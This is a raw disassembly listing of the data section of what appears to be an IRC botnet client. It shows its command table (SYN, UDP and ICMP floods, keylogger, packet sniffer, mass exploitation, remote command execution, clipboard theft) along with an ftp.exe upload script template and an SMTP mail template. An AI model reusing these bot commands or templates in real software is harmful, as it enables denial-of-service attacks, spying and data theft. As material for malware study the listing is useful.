aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_434C38	db    2			; DATA XREF: sub_40CD3A+3670o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_434C8C	db    2			; DATA XREF: sub_40CD3A+3617o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 10h
unk_434CD0	db    2			; DATA XREF: sub_40CD3A+3533o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
		align 8
unk_434D28	db    2			; DATA XREF: sub_40CD3A+34DAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_434D78	db    2			; DATA XREF: sub_40CD3A+343Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_434DC8	db    2			; DATA XREF: sub_40CD3A+33E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40CD3A+335Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40CD3A+3263o
		align 4
dword_434E38	dd 54434101h, 204E4F49h, 17325h, 0 ; DATA XREF:	sub_40CD3A+31D5o
					; sub_40CD3A+421Ao
dword_434E48	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+3161o
					; sub_40CD3A+4D39o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 8
dword_434E98	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+3108o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_40CD3A+30DDo
					; sub_40CD3A+4CAFo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40CD3A+30D6o
					; sub_40CD3A+4CA8o
		align 8
dword_434F28	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+2F98o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start scan, no IP specified.',0
		align 8
dword_434F78	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+2E52o
					; sub_40CD3A+4AF3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 10h
dword_434FD0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2E0Co
		dd 2029206Ch, 2BBBB02h
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_435020	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2DB3o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40CD3A+2CFCo
		align 8
unk_435098	db    2			; DATA XREF: sub_40CD3A+2CD2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 8
unk_4350E8	db    2			; DATA XREF: sub_40CD3A+2C79o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 8
dword_435148	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40F8E3o
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 8
dword_435198	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2B8Do
		dd 2029206Ch, 2BBBB02h
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 8
dword_4351E8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2B29o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40CD3A+2B19o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40CD3A+2B12o
dword_435240	dd 28026502h, 62302E31h	; DATA XREF: sub_40CD3A+2A7Do
		db 29h
byte_435249	db 20h,	28h, 20h	; DATA XREF: seg001:off_42450Co
		dd 2E706374h, 1F641F6Dh, 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
		align 10h
dword_435280	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40F6CEo
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4352C0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+298Do
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40CD3A+2976o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40CD3A+295Fo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40CD3A+293Fo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40CD3A+290Ao
		align 4
dword_43533C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2884o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 10h
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40CD3A+2861o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40CD3A+283Eo
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40CD3A+2827o
		align 4
unk_435398	db    3			; DATA XREF: sub_40CD3A+27D8o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40CD3A+2764o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_40CD3A+26C8o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40CD3A+2679o
		align 4
aUsa		db 'usa',0              ; DATA XREF: sub_40CD3A+2662o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40CD3A+264Bo
		align 10h
aPg		db 'pg',0               ; DATA XREF: sub_40CD3A+2634o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40CD3A+261Do
		align 10h
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40CD3A+2606o
		align 10h
aPu		db 'pu',0               ; DATA XREF: sub_40CD3A+25EFo
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40CD3A+25D8o
		align 10h
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40CD3A+25C1o
		align 10h
aVuln_start	db 'vuln.start',0       ; DATA XREF: sub_40CD3A+2593o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40CD3A+256Ao
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40CD3A+2553o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40CD3A+253Co
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40CD3A+2525o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: sub_40CD3A+250Eo
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: sub_40CD3A+24F7o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: sub_40CD3A+24E0o
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: sub_40CD3A+24C9o
		align 10h
aD1		db 'd1',0               ; DATA XREF: sub_40CD3A+24B2o
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: sub_40CD3A+249Bo
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_40CD3A+2484o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40CD3A+246Do
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: sub_40CD3A+2456o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: sub_40CD3A+243Fo
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: sub_40CD3A+2428o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40CD3A+2411o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40CD3A+23FAo
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40CD3A+23D1o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40CD3A+23BAo
		align 10h
aBox_mv		db 'box.mv',0           ; DATA XREF: sub_40CD3A+23A3o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: sub_40CD3A+238Co
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: sub_40CD3A+2375o
		align 4
aBox_findfile	db 'box.findfile',0     ; DATA XREF: sub_40CD3A+235Eo
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: sub_40CD3A+2347o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: sub_40CD3A+2330o
aDownload_upz	db 'download.upz',0     ; DATA XREF: sub_40CD3A+2319o
		align 10h
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: sub_40CD3A+2302o
		align 10h
aEnz_de		db 'enz.de',0           ; DATA XREF: sub_40CD3A+22EBo
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: sub_40CD3A+22D4o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: sub_40CD3A+22BDo
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: sub_40CD3A+22A6o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40CD3A+228Fo
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40CD3A+2278o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40CD3A+2261o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40CD3A+224Ao
		align 10h
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40CD3A+2233o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40CD3A+221Co
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40CD3A+2205o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40CD3A+21EEo
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40CD3A+21D7o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40CD3A+21C0o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: sub_40CD3A+21A9o
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: sub_40CD3A+2192o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: sub_40CD3A+217Bo
		align 10h
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: sub_40CD3A+2164o
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: sub_40CD3A+214Do
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: sub_40CD3A+2136o
		align 10h
aEnz_pm		db 'enz.pm',0           ; DATA XREF: sub_40CD3A+211Fo
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: sub_40CD3A+2108o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: sub_40CD3A+20F1o
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: sub_40CD3A+20DAo
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: sub_40CD3A+20B1o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: sub_40CD3A+209Ao
dword_4356F0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40EDB9o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 10h
dword_435720	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40EDB2o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_435754	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40ED67o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_435784	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2026o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40CD3A+1F9Fo
		align 10h
dword_4357C0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40ECCEo
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_4357F4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1F8Ao
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40CD3A+1F1Co
		align 10h
aDelete		db 'delete',0           ; DATA XREF: sub_40CD3A+1F01o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40CD3A+1ECBo
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_40CD3A+1EB3o
		align 4
dword_435848	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40EBE2o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_43587C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1E9Eo
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 8
dword_4358B8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1E14o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: sub_40CD3A+1DF0o
		align 10h
unk_435910	db    2			; DATA XREF: sub_40CD3A+1DBFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_25	db ' Failed to start logging thread, error: <%d>.',0
		align 10h
unk_435960	db    2			; DATA XREF: sub_40CD3A+1D66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_435994	db    2			; DATA XREF: sub_40CD3A+1CE5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4359C8	db    2			; DATA XREF: sub_40CD3A:loc_40EA09o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_435A08	db    2			; DATA XREF: sub_40CD3A+1CC5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: sub_40CD3A+1C6Bo
		align 4
unk_435A64	db    2			; DATA XREF: sub_40CD3A:loc_40E998o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 10h
unk_435AA0	db    2			; DATA XREF: sub_40CD3A+1C54o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40CD3A+1C31o
					; sub_40CD3A+1CA2o
unk_435AF0	db    2			; DATA XREF: sub_40CD3A+1C11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_26	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_435B40	db    2			; DATA XREF: sub_40CD3A+1BB8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_435B84	db    2			; DATA XREF: sub_40CD3A+1B54o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40CD3A+1B34o
					; sub_40CD3A+1C80o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40CD3A+1B1Fo
		align 4
aBox_rf		db 'box.rf',0           ; DATA XREF: sub_40CD3A+1B08o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: sub_40CD3A+1AF1o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: sub_40CD3A+1ADAo
		align 4
aBox_cmd	db 'box.cmd',0          ; DATA XREF: sub_40CD3A+1AC3o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40CD3A+1A95o
					; sub_40CD3A+1AACo
		align 4
aEnz_v		db 'enz.v',0            ; DATA XREF: sub_40CD3A+1A7Eo
		align 10h
aEnz_visit	db 'enz.visit',0        ; DATA XREF: sub_40CD3A+1A67o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: sub_40CD3A+1A50o
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: sub_40CD3A+1A39o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40CD3A+1A22o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40CD3A+1A0Bo
aBox_del	db 'box.del',0          ; DATA XREF: sub_40CD3A+19F4o
aBox_delete	db 'box.delete',0       ; DATA XREF: sub_40CD3A+19DDo
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: sub_40CD3A+19C6o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: sub_40CD3A+19AFo
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: sub_40CD3A+1998o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: sub_40CD3A+1981o
		align 10h
aEnz_dn		db 'enz.dn',0           ; DATA XREF: sub_40CD3A+196Ao
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: sub_40CD3A+1953o
aEnz_se		db 'enz.se',0           ; DATA XREF: sub_40CD3A+193Co
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: sub_40CD3A+1925o
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: sub_40CD3A+190Eo
		align 10h
aBox_open	db 'box.open',0         ; DATA XREF: sub_40CD3A+18F7o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: sub_40CD3A+18E0o
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: sub_40CD3A+18C9o
		align 10h
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40CD3A+18B2o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40CD3A+189Bo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40CD3A+1884o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40CD3A+186Do
		align 10h
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40CD3A+1856o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40CD3A+183Fo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: sub_40CD3A+1828o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: sub_40CD3A+1811o
aEnz_pt		db 'enz.pt',0           ; DATA XREF: sub_40CD3A+17FAo
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: sub_40CD3A+17E3o
		align 10h
aEnz_j		db 'enz.j',0            ; DATA XREF: sub_40CD3A+17CCo
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: sub_40CD3A+17B5o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: sub_40CD3A+179Eo
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: sub_40CD3A+1787o
		align 4
aVall		db 'vall',0             ; DATA XREF: sub_40CD3A+1761o
		align 10h
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: sub_40CD3A+174Co
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: sub_40CD3A+1737o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: sub_40CD3A+1722o
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: sub_40CD3A+170Do
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: sub_40CD3A+16F8o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: sub_40CD3A+16E3o
		align 10h
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: sub_40CD3A+16CEo
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40CD3A+16B9o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40CD3A+16A4o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40CD3A+168Fo
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40CD3A+167Ao
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: sub_40CD3A+1665o
		align 10h
aBox_getclip	db 'box.getclip',0      ; DATA XREF: sub_40CD3A+1650o
dword_435E2C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1645o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40CD3A+1611o
					; sub_414E97+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40CD3A+1604o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40CD3A+15E2o
		align 10h
aEnz_who	db 'enz.who',0          ; DATA XREF: sub_40CD3A+15C9o
